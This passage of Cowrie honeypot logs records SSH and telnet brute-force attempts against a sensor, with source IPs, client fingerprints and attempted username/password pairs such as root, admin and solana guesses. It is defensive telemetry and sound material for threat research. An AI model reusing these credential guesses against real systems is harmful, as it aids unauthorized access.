03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:40.173169Z","src_ip":"171.237.176.209","session":"98089edb734a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:41.243229Z","src_ip":"171.237.176.209","session":"98089edb734a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:41.495449Z","src_ip":"171.237.176.209","session":"901a4dcc0718","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:41.500735Z","src_ip":"171.237.176.209","session":"98089edb734a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.128.137.156","src_port":55544,"dst_ip":"10.17.0.5","dst_port":23,"session":"859568838f1a","protocol":"telnet","message":"New connection: 177.128.137.156:55544 (10.17.0.5:23) [session: 859568838f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:47.214836Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.128.137.156","src_port":55748,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bcf4f755d71","protocol":"telnet","message":"New connection: 177.128.137.156:55748 (10.17.0.5:23) [session: 7bcf4f755d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:51.906356Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.128.137.156","src_port":55964,"dst_ip":"10.17.0.5","dst_port":23,"session":"eae23f0377e2","protocol":"telnet","message":"New connection: 177.128.137.156:55964 (10.17.0.5:23) [session: eae23f0377e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:55:57.534457Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.197.41","src_port":33992,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce59a3fce360","protocol":"ssh","message":"New connection: 160.251.197.41:33992 (159.203.135.109:22) [session: ce59a3fce360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:56:14.574219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:56:14.578841Z","src_ip":"160.251.197.41","session":"ce59a3fce360","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:56:14.755130Z","src_ip":"160.251.197.41","session":"ce59a3fce360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bbb","password":"bbb@123","message":"login attempt [bbb/bbb@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:56:15.490668Z","src_ip":"160.251.197.41","session":"ce59a3fce360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:56:16.669072Z","src_ip":"160.251.197.41","session":"ce59a3fce360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.732019901275635,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:56:18.946719Z","src_ip":"177.128.137.156","session":"859568838f1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.521986722946167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:56:23.428234Z","src_ip":"177.128.137.156","session":"7bcf4f755d71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":57796,"dst_ip":"10.17.0.5","dst_port":22,"session":"35ee66bf0f19","protocol":"ssh","message":"New connection: 195.178.110.218:57796 (10.17.0.5:22) [session: 35ee66bf0f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:56:27.758851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:56:27.763559Z","src_ip":"195.178.110.218","session":"35ee66bf0f19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:56:27.845052Z","src_ip":"195.178.110.218","session":"35ee66bf0f19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:56:28.082878Z","src_ip":"195.178.110.218","session":"35ee66bf0f19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:56:29.164387Z","src_ip":"195.178.110.218","session":"35ee66bf0f19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.712404012680054,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:56:29.246717Z","src_ip":"177.128.137.156","session":"eae23f0377e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.128.137.156","src_port":57830,"dst_ip":"10.17.0.5","dst_port":23,"session":"7645662ff540","protocol":"telnet","message":"New connection: 177.128.137.156:57830 (10.17.0.5:23) [session: 7645662ff540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:56:30.752729Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":48108,"dst_ip":"159.203.135.109","dst_port":22,"session":"808ce81f5d12","protocol":"ssh","message":"New connection: 92.118.39.92:48108 (159.203.135.109:22) [session: 808ce81f5d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:56:35.187711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:56:35.192026Z","src_ip":"92.118.39.92","session":"808ce81f5d12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:56:35.296917Z","src_ip":"92.118.39.92","session":"808ce81f5d12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin123","message":"login attempt [admin/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:56:35.612529Z","src_ip":"92.118.39.92","session":"808ce81f5d12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:56:36.759629Z","src_ip":"92.118.39.92","session":"808ce81f5d12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.375312089920044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:57:02.127913Z","src_ip":"177.128.137.156","session":"7645662ff540","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.128.137.156","src_port":33444,"dst_ip":"10.17.0.5","dst_port":23,"session":"52cf3e83972c","protocol":"telnet","message":"New connection: 177.128.137.156:33444 (10.17.0.5:23) [session: 52cf3e83972c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:57:56.103725Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.128.137.156","src_port":33414,"dst_ip":"10.17.0.5","dst_port":23,"session":"b96da286ede5","protocol":"telnet","message":"New connection: 177.128.137.156:33414 (10.17.0.5:23) [session: b96da286ede5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:57:56.306753Z"}
{"eventid":"cowrie.session.closed","duration":31.37125539779663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:58:27.474892Z","src_ip":"177.128.137.156","session":"52cf3e83972c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.09942293167114,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:58:33.406023Z","src_ip":"177.128.137.156","session":"b96da286ede5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":35338,"dst_ip":"159.203.135.109","dst_port":22,"session":"d51847d48543","protocol":"ssh","message":"New connection: 92.118.39.92:35338 (159.203.135.109:22) [session: d51847d48543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:58:57.874672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:58:57.879001Z","src_ip":"92.118.39.92","session":"d51847d48543","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:58:57.983096Z","src_ip":"92.118.39.92","session":"d51847d48543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123","message":"login attempt [ubuntu/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:58:58.338009Z","src_ip":"92.118.39.92","session":"d51847d48543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:58:59.443724Z","src_ip":"92.118.39.92","session":"d51847d48543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.237.176.209","src_port":58030,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc8e3ce775f1","protocol":"ssh","message":"New connection: 171.237.176.209:58030 (159.203.135.109:22) [session: cc8e3ce775f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:59:09.156077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:59:09.161115Z","src_ip":"171.237.176.209","session":"cc8e3ce775f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:59:09.421083Z","src_ip":"171.237.176.209","session":"cc8e3ce775f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pilot","password":"pilot1234","message":"login attempt [pilot/pilot1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:59:10.495454Z","src_ip":"171.237.176.209","session":"cc8e3ce775f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:59:11.757747Z","src_ip":"171.237.176.209","session":"cc8e3ce775f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.202.48.55","src_port":44416,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c0e96254ea7","protocol":"telnet","message":"New connection: 121.202.48.55:44416 (10.17.0.5:23) [session: 6c0e96254ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:59:17.729275Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":34862,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba0f9ffedf31","protocol":"ssh","message":"New connection: 195.178.110.218:34862 (10.17.0.5:22) [session: ba0f9ffedf31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:59:19.627219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:59:19.632695Z","src_ip":"195.178.110.218","session":"ba0f9ffedf31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:59:19.712065Z","src_ip":"195.178.110.218","session":"ba0f9ffedf31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:59:19.949070Z","src_ip":"195.178.110.218","session":"ba0f9ffedf31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:59:21.030193Z","src_ip":"195.178.110.218","session":"ba0f9ffedf31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.219471216201782,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:59:30.948625Z","src_ip":"121.202.48.55","session":"6c0e96254ea7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"177.128.137.156","src_port":38858,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f5607c8363e","protocol":"telnet","message":"New connection: 177.128.137.156:38858 (10.17.0.5:23) [session: 2f5607c8363e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:59:41.361693Z"}
{"eventid":"cowrie.session.closed","duration":31.041779041290283,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:00:12.403373Z","src_ip":"177.128.137.156","session":"2f5607c8363e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.197.41","src_port":45760,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f5cb7711247","protocol":"ssh","message":"New connection: 160.251.197.41:45760 (159.203.135.109:22) [session: 6f5cb7711247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:00:13.088012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T03:00:13.092761Z","src_ip":"160.251.197.41","session":"6f5cb7711247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@opens